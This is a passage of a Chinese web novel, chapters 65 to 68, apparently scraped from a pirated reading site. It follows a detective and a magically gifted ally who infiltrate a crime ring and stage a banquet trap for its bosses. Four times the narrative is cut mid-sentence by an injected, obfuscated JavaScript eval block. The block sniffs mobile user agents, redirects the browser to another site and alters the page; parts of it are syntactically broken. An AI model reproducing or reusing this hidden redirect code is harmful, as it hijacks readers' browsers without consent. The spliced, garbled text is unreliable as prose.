被当成人工智障的春渐满难得在本子上顿了顿,留下了难看的墨点。 “详细描述,你碰到了什么,以及跟你接触到那波人是什么情况。”春渐满直接开了个口,不想再跟张黎瑜费别的口舌。 有些人录口供的时候会半天找不到重点,说一堆废话,真正有用的寥寥几句。 “既然你是npc我就不跟隐瞒了,我其实是一家健身房的教练,这么说,那家健身房也是我承包的,不过最近的顾客里有一批来者不善的。” “他们既不办卡,还要来蹭器械。” “详细说说。”春渐满见张黎瑜有概括的意向,立马追问。 “他们就买那种团购的次卡,蹭各种活动,这其实没啥,主要是这帮人太不同寻常了,他们在器械区对我们其他的客户下手。” “下手?” “好像是给他们的矿泉水里下了违禁品。” 张黎瑜双手交握放在桌上,他下意识把声音压低了,凑近春渐满,“我差点也中招了,不过我喝矿泉水有点小癖好,喜欢把瓶盖拧得半松半紧点,那人下完东西把我的瓶盖拧死了。” “我没喝,去调了监控,就发现不止给我下了药,还给我们好几个优质客户的水里下了药。” “我没打草惊蛇,好几次之后,他们以为已经通过违禁品控制了我,就找我开门见山谈判来了。” 春渐满写到此处,凭空拿了一瓶水出来,放到张黎瑜跟前。 “谢谢,我到现在看到矿泉水还有阴影,所以刚刚在这才会烧水泡红茶。” 张黎瑜此话不假,春渐满之所以突然把水拿出来放到他的跟前也是为了看他反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688961|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的反应大部分都做不得假,除非是经过专业训练的。 “他们要把我那家开得好好的健身房当成窝点,我肯定是不能同意的,但他们以为已经控制了我和我大部分的客人,非常嚣张,此后来店里都从来不买卡了,直接蹭。” “你没报警吗?”春渐满想不明白,既然有视频也有证物,那警方不可能不受理。 “我还真不敢报警,现在经济压力有多大你知道吧?哦,你是npc你不知道,总之这个店我用心经营了的,如果让警察过来,以后谁还敢来我店里消费。” “那你就任由他们在你店里为所欲为?”春渐满不敢置信有人能放任犯罪分子在自己的地盘上猖狂到这种程度。 尤其,这个张黎瑜看起来人高马大,起码有一米九,浑身练得全是腱子肉,还怕那些人? 似是察觉到春渐满的目光落到了他的肌肉上,他难得有些腼腆,“都是花架子,就是健身锻炼身体,保持一个好体型,实际上没啥杀伤力。” “那些人可都带着家伙什,我拿什么跟人家抗衡啊。”张黎瑜比划起那些人带的武器。 “监控还在你那边吗?”春渐满问到了重点,现在很多店的监控都可以联网直接上传到云备份。 “有,可是我自从被选中来这里,手机就失效了,现在看不了。” “你没想明白自己怎么会来这里吗?”春渐满有意提醒他。 “因为被那些人缠上,所以被选中来这里闯关?”张黎瑜深信不疑自己在副本中。 “算是,也不算是。”春渐满想了想,更加简洁明了,“你想没想过,自己差点死了?” “差点死了?”张黎瑜陷入回忆,他在来到这里之前,正好是那些人要带着货过来的时候,他为什么会差点死?这里不是他们挑中的窝点吗? “你是不是被他们发现并没中招了?”春渐满继续提醒。 “我看起来很像没碰那些东西的人?”张黎瑜指了指自己专门用粉饼画的黑眼圈。 “你除了这个黑眼圈之外,看起来既不憔悴也不消瘦,还这么健壮,尤其是你的眼神,太清明了。”春渐满现在才知道独孤尽也是有演技的,起码跟普通人比起来,他的演技已经足够糊弄这些普通人了。 春渐满一门心思收集证词和证据,而独孤尽却已经凭借着鬼斧神工的偷梁换柱术见到了他们明面上的老大。 “你就是小龙?”这位老大看起来才四十岁左右,眼里像淬了毒一样,盯着独孤尽看了许久。 “老大,这位就是龙少,龙少可真的是人如其名,是人中龙凤啊。”把独孤尽引荐上来的罪犯开始对独孤尽进行一顿彩虹夸夸。 “人中龙凤?” “现在还称不得人中龙凤,得让你老大把位置让给我才算人中龙凤。”独孤尽极其嚣张,他可不怕这位老大动怒,他就怕这位老大没反应。 只要他有反应,就会把他的事情汇报给背后的人,这时候,他才会露出破绽,他才能知晓这背后之人究竟是谁。 65. 化为摄像师的神兽们 独孤尽见识过太多心理变态的犯罪分子,总结起来,大多数都是极其嚣张自负的,只有少部分是掩藏得极好的,但内心深处那份自负依旧存在。 他现在表现的就是多数派,看起来可有够欠揍的。 不过却没人能近独孤尽的身。 “这是怎么回事?!子弹也动不了你?!”眼看着子弹穿到独孤尽的面前就消失不知所踪,罪犯头目的脸上的镇定再也维持不住。 “老大,龙少本事大着呢,而且……心狠手辣,还有钱,是这块料子。”带独孤尽过来的人悄悄在头目耳边把独孤尽的丰功伟绩说了一通。 “他竟是这样的人才?!为何现在才引荐上来?!”头目虽觉自身地位不保,但若有人能有这样的能力,那他让一让又如何,左不过是一些虚名。 “组里不是有规矩,一定要按照章程来办事吗?” “规矩是死的,人是活的,笨不笨?!” “龙少!愿您能够带领我们走得更高更远。”头目直接摆明了自己的态度,但这可不是独孤尽要的,他佯装满意地踱步过来。 “那兄弟你之前朝我飞的子弹,要不要我还给你?” 这话说得让头目额角落下冷汗。 他擦了擦额角,“不用了,子弹就当送给龙少了。” “这么平白无辜拿你东西不好,这样吧,你把我们正在运转的项目跟我详细说说,我必让它再上一个台阶。”独孤尽虽然还是一开始极其自负的样子夸下海口,但却没人敢把这当成玩笑。 “兄弟们!还不谢过龙少?!”头目一挥手。 “谢龙少!” “我们必誓死跟随龙少再创辉煌!” 独孤尽掏掏耳朵,满不在乎地点了点头,“兄弟们的情谊我都感受到了,别废话了,赶紧说吧。” 除了独孤尽早有预料的违禁品这条线之外,这个组织还涉及到各行各业,包括制作业,可以说每行每业都有门道,而他们就瞅准了这些门道。 可以说,做到了业内的极致,而且效益确实不错。 “这些产业算不得什么,我必带兄弟们打下更大的江山。”独孤尽虽然时不时被惊到,但他仍旧在暗地里吩咐神兽把这些都录像记录下来。 “龙少威武!” “龙少万岁!” 独孤尽背上全是汗,他有点太深入龙潭虎穴了,这会儿真想撤离了。 如果要把这些人都治了,那得大换水,而且也不知道会不会影响到普通人的生活。 一切都要从长计议。 不知道被春渐满那边跟受害者解释得如何了。 独孤尽有点想他的小弟了。 春渐满突然打了个喷嚏,他手上的笔顿了顿,没再往下写。 他现在已经记录到这个叫孙逸的学生这了,也就是他急着想要回家给奶奶做饭。 能看出来是个孝顺的孩子。 “你的情况我也了解了,你家的这个地址附近监控多吗?你知道哪里是监控死角吗?”春渐满不想再去找师父让他老人家帮忙查监控分布,想用最简单的方式得到答案。 旁人可能会忽视街头监控在哪,但孙逸不会忽视,他经常会被一些不良的混混围堵。 不过他躲人的本事也很强,大部分时候都能直接躲过,实在躲不过了,也会指着监控告诉别人这里不方便。 “在学校南边有一个小巷子,里面没有监控。” “告诉我具体位置。”春渐满还没用过这招,他只见独孤尽按照定位直接抵达,但自己却从未用过,不知道会不会失败。 “大概是这样的,我画给你看。”孙逸问春渐满要了一张纸,在纸上画了自己学校的位置,又把那条巷子怎么过去都画好了。 甚至,他还贴心地把监控在的位置标了出来。 “你要做什么?”画完他才想起来问这么一句。 “其他人我还要再留一留,你不是急着给奶奶做饭,我可以让你先回去,不过你做完饭必须回来。”春渐满以手支颐,在那个坐标点上戳了戳。 “如果我跑了呢?”孙逸知道自己现在在副本里,如果真能先出去给奶奶做了饭,他其实是心甘情愿再回来副本的。 毕竟,看之前大家的样子,如果他不进这个副本,那他可能已经被歹人抓走,生死未卜了。 可以说,这个副本救了他一命。 即便这个副本有观众,看他们的表现取乐,他也认了。 “你跑不了,我既能把你送出去,也能把你带回来。”春渐满突然想起来自己在他们心里的形象,又补充一句,“我可是npc,怎么样都会完成自己的职责。” “那你们npc也挺辛苦的,没完成会不会被系统销毁?” “你说的那个是修复bug,不过我还没被修复过,所以你如果真想逃,大可以试试。”春渐满纠正孙逸,他现在觉得自己被人当成npc也有好处,这样即便他做一些常人无法做到,匪夷所思的事,大家也只会觉得因为他是npc。 “去吧,早点回来。”春渐满说完就把手搭在了孙逸肩上。 只是一瞬,孙逸觉得天旋地转,再次看清眼前的景象,已经在自己熟悉的那条街上了。 不过,他不是一个人,这个npc也在他旁边。 “你怎么能出副本?!” “谁告诉你npc不能出副本?”春渐满难得露出了点笑,原来捉弄人这么有趣,怪不得独孤尽喜欢干这种事。 “我的天,你们一定是个很强的副本,连npc都不同寻常。”孙逸觉得他如果把自己碰到的这一切告诉他的同学,自己一定会变成传奇人物。 不过,他不会做这样的事,人红是非多,他可以偷偷发在自己的账号上,吸引一波流量,到时候如果有人找他接广告,就不用担心奶奶了。 “那你能不能帮我奶奶治疗?”孙逸补充,“就是,我完成任务,积极累积积分,到时候你们有没有帮人治疗身体的技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688962|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能或者技能卡也行。” “治不了。”春渐满轻轻摇了摇头,如果独孤尽的画能救人类□□上的病症,那他就真的彻底无敌了。 “是我异想天开了,我先回去给奶奶做饭了,你要来我家吗?”孙逸现在彻底把春渐满当成npc了,觉得春渐满如果不跟着他,是会丢的。 “好意心领了,我会在外面等你。” “你这怎么这么像看犯人呢,我又不会奴役你帮忙做饭,还是说,你们npc不能吃饭?”孙逸想到刚才春渐满搭在他肩膀上的手,这个npc很逼真,连体温都有。 “你再继续废话,就不让你给你奶奶做饭了,直接回去。”春渐满一个眼刀打在孙逸身上,孙逸抖了抖,立马拿出钥匙开门回了家。 “奶奶,我回来了,我给您做饭。” 老旧的小区房子都不太隔音,春渐满即便站在门外也能听见里面的欢声笑语,那是让人羡慕的最寻常不过的温情。 可在现在这个快节奏的时代,还有多少人能在餐桌上毫无目的谈笑风生? 独孤尽,你再不回来,我可要寻你去了。 春渐满背靠墙站着,眸光灰色不明,他有点儿开始明白想念是什么滋味了。 独孤尽似乎有感,他放下手中的电话,朝一众小弟看了一眼,“还愣着干什么,去忙活吧。” “龙少!您这给兄弟们安排的活太多了吧?”这帮人从来没体会过现代社会的卷,一直赚的都是非法收入,来钱快,也就不用费什么力气心神去快节奏工作,现在被独孤尽一连串的任务压下来,人都傻了。 他们要有这种能力,去哪个大公司不能干,还需要在这里做这种提心吊胆,随时都有可能掉脑袋的活吗? “怎么?这么点事都办不了,看来大家是没把我当老大啊,那算了,反正我看你们也没想象中那么强,我可是要做大事的,我再去找找旁人。”独孤尽继续嚣张地发言,他做老大做惯了,犯浑的样子也格外唬人。 隐身的神兽为了避开独孤尽犯浑的样子已经在天上飞了好几次,就为了找到一个角度,既能把主人的身姿拍得帅气,又能把那些罪犯全都拍进去。 只不过,主人太痞了,好多角度拍出来,都不像好人。 太不像好人了,万一把影像资料交上去之后,误被人当成了坏人抓走怎么办。 神兽们那叫一个担心,拍摄得更加尽心尽力了。 “旁人?!龙少想找谁?!兄弟们只是许久没干这么大票的了,有点儿手生,龙少莫怪。”原本的头目继续领导大家,鼓舞人心,“打起精神来!还想不想赚大票子,过人上人的生活了?!大家都听龙少的!” 头目虽这么说着,自己却也有点儿犯难,这龙少居然连他也安排了差事,要他约那些人出来赴宴……那些人哪里是那么容易就能约出来的,一个个谨慎得很。 但龙少说,给他们准备了惊喜,他们绝对会喜欢,一喜欢,以后给他们开开路子就更容易了。 66. 专属技能 大摆鸿门宴,可这场鸿门宴只有独孤尽一人知晓,旁人都还乐呵呵地准备着赴宴,只因宴请的人要分这天大的好处。 独孤尽自从买了那幅画后,身上就没有成亿的大笔资金了,但他却脸不红气不喘说要拿出百亿资金作为启动资金,要众人与他干一票大的。 且组织中原本的头目多疑,那些藏在背后的大人物也多疑,都是不见兔子不撒鹰的种,为了看起来像那么回事,他还虚构了一家连锁银行,那支票开得叫一个爽快。 查过账,大家也就放心了。 在项目正式启动前,没人会真的胆大包天去银行取这些钱出来花,独孤尽也正是瞅准了这点,且他现在名义上是组织的老大,威慑力在,他不允许,手下人装装样子也要装。 这场鸿门宴究竟能揪出多少黑手尚不可知,但只要能揪出一些,独孤尽就有信心将所有人一网打尽。 毕竟,这冰山挖动了一角,独孤尽就有办法在“怪奇诊所”把这些人的嘴撬开,实在撬不开,进去他们的精神世界,窥探过往,总能把蛛丝马迹发掘出来。 至于哪些人在治疗完后能幡然醒悟自首,哪些人死不悔改只能用非常手段把证据放上让其罪无可辩,就要之后慢慢来了。 “龙少,您真是英雄出少年,只不过身边没个可欣人,这怎么能行呢,我给您安排了几位美人,都干净着呢,您挑挑。”原先的头目心眼多,见不得独孤尽总是独来独往,虽总安排小弟用由头跟着独孤尽,但由头总会用完,还是得找些贴心人跟在他身边。 独孤尽只瞥了一眼就怒起,“谁都知道我不近女色,你什么意思?!” “不近女色是没尝过女人的滋味,这几人都是柔情似水的,龙少不妨尝试一下,定能懂其中奥妙。”头目还不死心,他就不信有人能躲过温柔乡。 独孤尽脸色更冷了,他直接化风为刃,一掌挥在头目脸上,狠狠割了一道口子。 “啊!!!”头目惨叫了一声下意识也要怒起,又忌惮独孤尽自身的能力,深呼吸了几下强行压下怒火。 “龙少这般不近女色莫不是喜欢男人?”头目怒极,他压着声讽刺。 “是,我已有心悦之人,这打江山的事他沾染不得半分,但荣华可是留着给他的,当然……”独孤尽顿了顿,走到头目跟前,拍了拍他流淌鲜血的脸,“我这个人也是要留给他的,谁也不许打我的主意。” “龙少还真是痴情啊。”头目似乎是信了,他觉得独孤尽这么张狂,根本没理由骗他。 独孤尽原本只是捏造了这么个心上人出来,可不知怎么,说完这些话,他脑海里冒出来的竟然是春渐满的样子。 可能是想看看他的春警官带人来将那些大人物一网打尽的英姿了吧。 在鸿门宴之前,他必须跟春渐满见一面,把事情交代清楚,否则不怕一万就怕万一。 纵使他能把所有人都关进画里,但也不能让这些人发现画的秘密。 让受害者进入那是逼不得已,这些罪犯就没有必要了,在外面也总能抓住。 宴会前一晚,独孤尽借由去公共卫生间的机会,回了画里。 这次回来没有神兽齐刷刷欢迎,只有几个颓败的人类。 正是他救进来的受害者们。 “哇!又来新人了?!不对,你是boss?!”那人从一开始的惊讶,到后面的惊恐,他连退了好几步,四处张望,试图在附近找到什么趁手的兵器。 “绝对是boss!他周身都萦绕着黑气,绝对是boss!打完boss我们一定就能出去了!”其他人看到独孤尽时也神情紧张了起来。 独孤尽看着觉得颇为有趣才故意营造了黑气缠绕在自己周身,没想到看到了更加有趣的。 过了一会儿,他又把黑气变成了五颜六色的七彩气体,看着光彩夺目。 “不好!会致幻!大家把眼睛闭起来!”不知是谁喊了一句,这群人更加慌张了,纷纷闭起双眼。 “我可不止会用画面致幻,声音也能,你们要不要把耳朵也闭上?”独孤尽故意放轻了自己的声音,让人听起来缥缈虚无,如梦如幻。 “不好!大家捂住耳朵!” “哎呀,空气里也有□□,把口鼻也堵上吧?”独孤尽轻飘飘的声音穿透力可强着,只用手捂住耳朵可挡不住他的声音。 “救命啊!我们还没获得技能,这个boss看起来这么强,怎么打啊!” 独孤尽拉了张他最喜欢的沙发刚要躺下看戏,耳朵就被人揪起,“什么时候了,还想看戏?” “饶命,春警官,我可把脑袋系在裤腰带上许久,现在好不容易放松放松看场好戏。”独孤尽一早就发现春渐满悄悄站在他后面看他表演,但没想到春渐满会对他动手动脚。 “没时间给你放松,他们怎么回事,你怎么回事,这么久才回来,你这能力不是想什么时候回来就能回来吗?”春渐满问题太多,独孤尽一时间竟不知道先回答哪个。 他手指轻弹让春渐满松手,才玩心大起,掌心抚上春渐满脸颊,“自然是先前不得空,现在想美人了不得不回来。” “你再胡言乱语?!”春渐满已经摩拳擦掌准备对独孤尽来顿军体拳了。 “说正事,我没多少时间,明晚七点,东升楼,有一场大戏,你看看有多少警力能出动,越多越好,但不要报到上面去,否则可能会惊动大鱼。”独孤尽不放心又提醒了一句,“必须要把知晓了的警员全部带上,以防有人通风报信。” “一窝端?”春渐满很快跟上了独孤尽的思路,“大概多少人?” “不好说,大鱼太多,你能多带人就多带人,一定要把武力装备到最强再来。”独孤尽揉了揉脑袋,“不然我都画里也塞不下这么多人。” 画里其实能装很多人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688963|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他实在不想后面处理这些琐碎的事,能帮的他会尽力,但有些事,他不想劳心费神。 “行,这里的人呢?什么时候放?他们现在把我当npc,把你当boss,一直在想办法通关副本。”春渐满看了一眼躲在远处伺机而动的受害者。 “也不急着这一时半刻了,等大鱼都落网了,再放他们回去,不然不安全,又要丧了性命。”独孤尽故意扭头,对着那堆人又露出个看起来极其邪恶的笑。 “你这个恶趣味真是……”春渐满拿独孤尽没办法,阻止都来不及阻止,他捏着他的脸,狠狠揪了一把。 “小心点!我这是临时出来,揪出伤痕会被发现。”独孤尽吃痛拉开春渐满的手。 “这点伤,你随便施个术法不就掩盖过去了。”话是这么说,但春渐满没再揪,他又看了一眼战战兢兢的受害者,“你快回去吧,那些人都快吓破胆子了。” “那就劳烦npc大人陪他们玩着了。”独孤尽把沙发留给了春渐满,直接从那些人面前消失。 “哇!真的太恐怖了,你怎么敢跟他说那么久话?!”见要对付他们的boss回去了,受害者们总算松了口气,急慌慌过来跟春渐满取经。 “你傻啊,这是npc,boss怎么可能攻击自己人,他们肯定是在交流我们的情况,估计等等npc就要给我们发布任务了。” “……”春渐满觉得有些时候,自己不说话这群人就能把事情全脑补完了,而且他们非常逻辑自洽,完全不用他来费劲脑汁想说辞。 “每个人找到自己的专属技能,限时十天,这段时间我不会在,你们好自为之。”春渐满要抓紧时间去东升楼布局,必须要部署得万无一失。 “专属技能?!难道说这里有什么神秘功法我们没找到?” “啊!我知道了,一定是刚刚那个boss留下的,我们肯定是度过了最开始的新手关,现在要进入新的任务引导关了。” 春渐满满意地看着大家展开联想,接下来的事就不用他烦心了,他也跟独孤尽一样,直接消失在了众人面前。 “啊!还没来得及多问几句,怎么连npc都消失了,看来接下来只能靠我们自己了。” 孙逸自从给奶奶做完那顿晚饭后,就听从了春渐满的建议,找了个临时的护工给奶奶做饭,照看她几天,虽然花了一笔不小的钱,但这个钱据说是提前预支的副本币,这个npc直接给他兑换了。 春渐满不可能告诉孙逸,这是他自己的钱,反正这群人对副本之说深信不疑,他也就将计就计,支援了孙逸一些。 寻找功法这件事,孙逸做得最积极,因为他是唯一一个见过副本币兑换成现实金钱的人。 春渐满回到局里,再一次推开曹鸿盛办公室的门。 曹鸿盛现在看到春渐满都害怕,他头疼地扶着脑袋,“好徒弟,你又带什么线索来了?” 67. 请君入瓮 “师父,不欢迎我?”春渐满非常直面地感受到了这股不欢迎。 “说吧,什么事。”曹鸿盛轻叹了口气,隐约已经觉得这回肯定又是大事。 “局里有多少人能用?全要。”春渐满想了想,“要信的过的,不能走漏风声,越多越好。” “你要干什么?”曹鸿盛越听越觉得不对劲,“要这么多人?” “既然要这么多人,我可以找其他分局帮忙。” “不可,风险太大,不能让任何人透露出一点消息。”春渐满凑近,压低了声音,生怕隔墙有耳,“要抓很多人。” “你又默不作声干了票大的?”曹鸿盛现在真的对自己这个徒弟刮目相看,虽然以前也一直备受重用去办重案,但也没像现在这样,每次干的是有重大牵连的要案。 “我那一队人可信,能带,其他的还要师父来挑。”春渐满想了想,不能等到明日,今天就要把所有布局都做好。 “明晚七点在东升楼,听我命令行动。”春渐满摸了摸自己的配枪,“还要挑专业能力好的。” “可用的人不多,而且我这么挑人过来吩咐情况,其他人也会知道。”曹鸿盛明白其中关窍,春渐满都这么说了,显然怕有人通风报信。 “容我想想……”春渐满也犯了难题,先前独孤尽说得轻松,实在不行就把所有人都带上,可人一多,又怎么能看住所有人不让他们通风报信? “师父,我有办法了,等我一下。”春渐满看了看周围,“我先去趟卫生间,稍等。” 春渐满觉得在哪里回画里都不安全,只有卫生间是最安全的,不会被人发现端倪的。 他回了一趟画里,把还留在画里的神兽召集过来,挑了一些可用的,让大家隐身来了现世,吩咐他们盯着人,但凡发现有人要拿出手机通风报信,或者逃跑,就直接控制住。 做完这些,他才回到曹鸿盛的办公室,信心满满地开口,“师父,现在可以了,您只管安排,起码在我们局里不会有人有机会去通风报信。” “你怎么确保他们?”曹鸿盛觉得百思不得其解,这徒弟怎么出去了那么点时间,就跟他说可以放心安排事了。 “师父,这个涉及到‘怪奇诊所’,我不方便跟您说,您只管放心,我一向谨慎您是知道的,绝不会拿兄弟们的性命开玩笑。”春渐满声音更低了,他现在身上秘密太多,说什么都不方便被旁人听到。 “那我就把大家的命交给你了。”要说别的曹鸿盛还能追问,事关“怪奇诊所”,就算他问再多,他这个徒弟都不会吐露,他也不想浪费时间白费口舌。 曹鸿盛勒令所有人停下了手里的工作,将情况说明,又点了几队人出来,“切记,一切行事都要小心。” “是!”被点出来的人大多数都面容冷肃,让人看不出情绪,可有那么几位脸色不太好,即便再怎么极力隐忍,也能从眼里看出一分焦急。 春渐满很细心,单独找了这几人出来。 “急了?”他直接开门见山。 “春队,我不知道您在说什么?”大家都是心理素质极好的人,审讯惯用的手段见多了,自然不可能被春渐满一句话就诈出来。 “家里有人要去东升楼?”春渐满不紧不慢,继续放话。 “东升楼只是寻常酒楼,就算去吃饭也没什么吧?” “既然只是吃饭,那为什么着急?”春渐满把手搭在他肩上。 肌肉紧绷,即便面上看不出紧张,身体也在不由自主做出反应。 “你们几个留在这里,不要想着通风报信,我有的是办法让你们没法报信。”春渐满疾言厉色地威慑了一顿才去安排布局。 “春队,总算可以跟着您出任务了,好久没这样,兄弟们都想得不行。”邱游领着队员过来,他知道春渐满的消失肯定跟追查“怪奇诊所”有关系,但以往还会有队员一起,这回他已经孤身一人奋斗许久了。 春渐满看着邱游微红的眼眶,颇觉不好意思,但他最近太忙,一刻都不得歇,奔波在各种案件中,他从没这么迅速地破获一个又一个案子,一时间竟想不起来跟兄弟们联络。 春队这些兄弟都是跟着他出生入死过无数回的,这段时间是他疏忽了。 “等这次事情结束,请你们吃饭。” “我们都明白,就是心疼队长您,我们要是能再厉害点,也能帮上您。”邱游摇摇头,他们哪里会怪队长,只不过觉得自己能力有限,不能帮上忙,才会难过。 “这回不就能帮上了?都打起精神来,跟我走!”春渐满带着自己的人行动格外迅捷,反而是他师父曹鸿盛安排局里其他人比较繁琐。 为了不让任何人察觉出破绽,他们没擅自作主在东升楼附近摆摊,也没替换东升楼里的服务生,只是装作消费者,分了几波人在附近的其他店里。 可以说,东升楼里,没有他们的人,只有这样,才不会被那些大人物发觉异常。 他相信独孤尽也是这个意思,况且,只要人全了,独孤尽给他发了消息,集合这些离得不远的人过去也花不了几分钟。 这边春渐满已经准备妥当,把附近适合蹲点不显眼的店都排查好了,独孤尽却还是在被万般试探。 “滚!”他对身边被换过来让他使唤的男人十米远。 “龙少!您当真看不上我吗?我能力很强,什么都会。”他眼里是柔情百转的勾人意思,可惜独孤尽是个瞎的,他气得脑袋冒烟,“谁让你来的,给我滚!” 那人见形势不妙,只能先行离开,跟要他来的人汇报,“老大,他真的不近女色吗?我瞧他是个直的,根本不像弯的。” “连你他都不心动?看来真有心上人,有谁查到他心上人是谁了吗?得把人捏在我们手里才安心。”头目脸上的伤还没愈合,贴了个绷带,看着更加凶残恐怖。 “老大,我看他也没二心,要有二心,给我们投资这么多钱干嘛,嫌钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688964|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没地方花吗?”这人被派来没能勾引到独孤尽,倒是被独孤尽的好容颜给勾引了,打心眼里觉得他魅力十足,把他当自己人了。 要他说,这个新老大更有魄力。 “算了,宴会结束再说吧。” 独孤尽浑身鸡皮疙瘩都起来了,他能听见自己周围的声音,这两人虽然离得远,但还在他的感知范围内。 怎么老想着给他安排服侍的人,他看起来有那么像昏君吗? 虽然他是在扮演豪横不知天高地厚的富二代,但也不是每个富二代都喜欢花天酒地的。 又有多少上位者会被美色误到? 独孤尽专门穿了一套奢华的礼服,打扮得嚣张夺目,生怕人不知道他有多有钱,准备好一切,就在包间里坐等。 “龙少今天真是光彩照人,但等下可要把握好分寸,来得都是大人物。”先前的头目仍旧不放心,他真怕这个少爷乱发脾气,把人得罪了,到时候可就不是帮他们组织招揽生意,而是招来杀生之祸了。 “我说了,今天宴请他们是要送大礼的。”独孤尽高傲地仰着脑袋,他靠在椅子上闭目养神,“你再废话,就不让你参加了。” “……” “还是你另外一边脸上也想有个对称的疤痕?”独孤尽说得毫不客气,但越是这样,越能降低人的戒备心,毕竟,谁会对嚣张的傻子有戒备心。 头目暗自庆幸自己请这些大人物的时候已经事先把这位少爷的脾气提了一嘴,不然恐怕真要出问题。 独孤尽一边闭目养神,一边算着时间。 他提早了一小时过来,现在包间里还没人,也不知道这些大人物有没有人拿桥,非要等到最后一个登场的。 反正再要等,也就等这几个小时了,很快这些人就都笑不出来了。 独孤尽没想到,他才等了半小时,就有人陆续过来了,但更多地则是卡点到。 他们大多互相认识,即便不认识,也听过对方的职务,讲了那么几句,就都认识了。 独孤尽最讨厌这种称兄道弟的虚伪交流,但他现在还不能发作,难得露出骄矜的笑,一个个认识过去。 头目比独孤尽紧张多了,生怕自己身边这位少爷突然发作,但索性,这位少爷还知道今晚事关重大,礼仪周到,倒是让他刮目相看,半点错都没出。 独孤尽从小到大出席过不少宴会,礼仪这点自然不必说,他是讨厌应酬,而非不会应酬。 直到七点半,所有人才都到齐了,独孤尽巡视了一圈,这些人心情都不错,也是,有钱拿,谁会不开心。 就是不知道,等会儿收大礼的时候,还笑不笑得出来。 独孤尽看了神兽一眼,专门让一只神兽过去提醒春渐满可以动手了。 他可不敢发消息,以免有些人神通广大,拦截了讯息,出大问题。 春渐满看见神兽的时候,心都差点漏半拍,他沉声发令,“所有人就位!开始行动!” 68. 一网打尽 “春老师!有人想趁乱逃跑,我已经分了一个分身过去把人抓住了,您看要怎么处理?” 春渐满的命令才刚发出,就有人趁着行动开始想要作乱,不过这些隐身的神兽可不是吃素的,它们为了不看漏每一个人的举动,可是分出了无数分身全方位盯着这些人类。 要说,人类还是要比它们精明多了,小心思藏着,不仔细看还真发现不了,这个被抓的就是偷偷把手机放在口袋里按的,要不是神兽盯得紧,还真发现不了他的手在偷偷动着。 秉承着宁可抓错也不放过的劲头,神兽没犹豫直接把他的手钳住,从口袋里拖了出来,丝毫没理会他受惊乱叫,这才抓了个现成的。 “先不处理,时间来不及了,把这些人好好看着,等我们行动结束再处理他们。”春渐满心急如焚,面上却也没显露半分。 他脚步匆匆,现在已经不用担心自己的人会暴露了,毕竟所有人应该都在独孤尽所在的包间里。 也不知道今晚过后,会有多大的动荡,但这些就不是他要担心的了。 可就在春渐满带着队员们即将冲进东升楼时,他的电话响了,是他师父的。 春渐满在这一瞬间中心念百转千回,思考了无数,最终还是没接这个电话。 现在无论还有什么变数,都阻挠不了他向前的步伐。 “听令,进去后务必不放过任何一人,你们堵在门口,还有一部分留在楼下,以防有人跳窗逃跑。”春渐满下达最后的命令。 东升楼内一如往常,客人繁多,歌舞升平间全是欢声笑语,春渐满一行人是便装,但这么一大波人,还是引起了酒店注意,春渐满让人给酒店管理人员看了他们的证件,并且控制住酒店工作人员,防止有人走漏风声,才一路往上。 独孤尽还在包间内与一众大佬谈笑,他心下也有些焦躁,刚才又与众人交谈了一番,他隐隐觉得这些人还不是内部核心人员,还有一些重头人物根本没来。 可能那些人连几十亿都看不上,又或者,他们根本不用亲自来,被派来的这些人会另外把钱分给他们。 只不过,独孤尽说得可是来的每个人都会获得几十亿,那少来一人,岂不是就少几十亿。 唯一的可能性就是这些人真的不缺这么点钱。 对他们来说,钱够用就行,只要小心,权在自己手上,就不怕以后没这些孝敬。 没让独孤尽等太久,他已经能感知到春渐满朝这边而来。 这种时候,当然要装一下范儿,独孤尽突然唇角扯了扯,他举杯冲着众人,“大家也不是冲着我请的这一顿饭来的,龙某说过,会送来的人一份大礼,现在就请大家准备好。” 